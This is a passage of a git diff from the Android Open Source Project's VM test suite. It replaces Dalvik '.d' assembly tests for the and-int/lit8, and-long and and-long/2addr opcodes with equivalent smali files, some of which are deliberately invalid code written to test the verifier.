-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit8_4.java
-.class public dot.junit.opcodes.and_int_lit8.d.T_and_int_lit8_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v0, 0
-       and-int/lit8 v0, v0, -1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_4.smali
new file mode 100644
index 0000000..ea3d7d5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v0, 0
+       and-int/lit8 v0, v0, -1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_5.d
deleted file mode 100644
index 9634339..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit8_5.java
-.class public dot.junit.opcodes.and_int_lit8.d.T_and_int_lit8_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v0, 127
-       and-int/lit8 v0, v0, -128
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_5.smali
new file mode 100644
index 0000000..ffe089c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v0, 127
+       and-int/lit8 v0, v0, -128
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_6.d
deleted file mode 100644
index 7e6a548..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_6.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit8_6.java
-.class public dot.junit.opcodes.and_int_lit8.d.T_and_int_lit8_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 1
-       const-wide v0, 1.0
-       and-int/lit8 v0, v0, 1
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_6.smali
new file mode 100644
index 0000000..d93081e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_6.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       const-wide v0, 1.0
+       and-int/lit8 v0, v0, 1
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_7.d
deleted file mode 100644
index e09f8bd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit8_7.java
-.class public dot.junit.opcodes.and_int_lit8.d.T_and_int_lit8_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 1
-       const-wide v0, 1
-       and-int/lit8 v0, v0, 1
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_7.smali
new file mode 100644
index 0000000..427757d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       const-wide v0, 1
+       and-int/lit8 v0, v0, 1
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_8.d
deleted file mode 100644
index 78936ff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit8_8.java
-.class public dot.junit.opcodes.and_int_lit8.d.T_and_int_lit8_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 1
-       and-int/lit8 v2, v3, 1
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_8.smali
new file mode 100644
index 0000000..106de42
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       and-int/lit8 v2, v3, 1
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_9.d
deleted file mode 100644
index cb63071..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_9.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit8_9.java
-.class public dot.junit.opcodes.and_int_lit8.d.T_and_int_lit8_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 4
-       and-int/lit8 v0, v3, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_9.smali
new file mode 100644
index 0000000..852e745
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_9.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit8_9.java"
+.class  public Ldot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 4
+       and-int/lit8 v0, v3, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_1.d
deleted file mode 100644
index 9bdc34e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_long_1.java
-.class public dot.junit.opcodes.and_long.d.T_and_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       and-long v0, v10, v12
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_1.smali
new file mode 100644
index 0000000..6218204
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_long_1.java"
+.class  public Ldot/junit/opcodes/and_long/d/T_and_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       and-long v0, v10, v12
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_2.d
deleted file mode 100644
index 7c9185c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_long_2.java
-.class public dot.junit.opcodes.and_long.d.T_and_long_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       const v10, 3.1415
-       and-long v0, v10, v12
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_2.smali
new file mode 100644
index 0000000..d69180f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_2.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/and_long/d/T_and_long_2;
+.super Ljava/lang/Object;
+.source "T_and_long_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(JJ)J
+    .registers 14
+
+    const p1, 0x40490e56    # 3.1415f
+
+    and-long v0, p1, p3
+
+    return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_3.d
deleted file mode 100644
index b68acff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_long_3.java
-.class public dot.junit.opcodes.and_long.d.T_and_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       const v10, 12345
-       and-long v0, v10, v12
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_3.smali
new file mode 100644
index 0000000..83810ea
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_long_3.java"
+.class  public Ldot/junit/opcodes/and_long/d/T_and_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       const v10, 12345
+       and-long v0, v10, v12
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_4.d
deleted file mode 100644
index 97a1bcb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_long_4.java
-.class public dot.junit.opcodes.and_long.d.T_and_long_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       and-long v0, v9, v12
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_4.smali
new file mode 100644
index 0000000..2b5c200
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_long_4.java"
+.class  public Ldot/junit/opcodes/and_long/d/T_and_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       and-long v0, v9, v12
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_5.d
deleted file mode 100644
index b6948ec..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_long_5.java
-.class public dot.junit.opcodes.and_long.d.T_and_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       and-long v0, v10, v14
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_5.smali
new file mode 100644
index 0000000..fb9a4de
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_long_5.java"
+.class  public Ldot/junit/opcodes/and_long/d/T_and_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       and-long v0, v10, v14
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_6.d
deleted file mode 100644
index 26ae8a5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_6.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_long_6.java
-.class public dot.junit.opcodes.and_long.d.T_and_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 7
-
-       and-long v0, v3, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_6.smali
new file mode 100644
index 0000000..cd58a06
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_6.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_long_6.java"
+.class  public Ldot/junit/opcodes/and_long/d/T_and_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 7
+
+       and-long v0, v3, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_1.d
deleted file mode 100644
index aa61af94..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
